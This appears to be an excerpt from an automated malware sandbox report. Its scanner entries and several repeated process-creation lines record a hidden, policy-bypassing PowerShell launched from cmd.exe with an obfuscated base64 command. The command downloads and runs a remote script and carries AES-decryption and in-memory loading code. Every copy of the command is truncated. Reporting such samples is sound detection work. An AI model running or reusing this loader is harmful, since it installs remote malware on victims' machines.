                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Suspicious powershell command line found
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
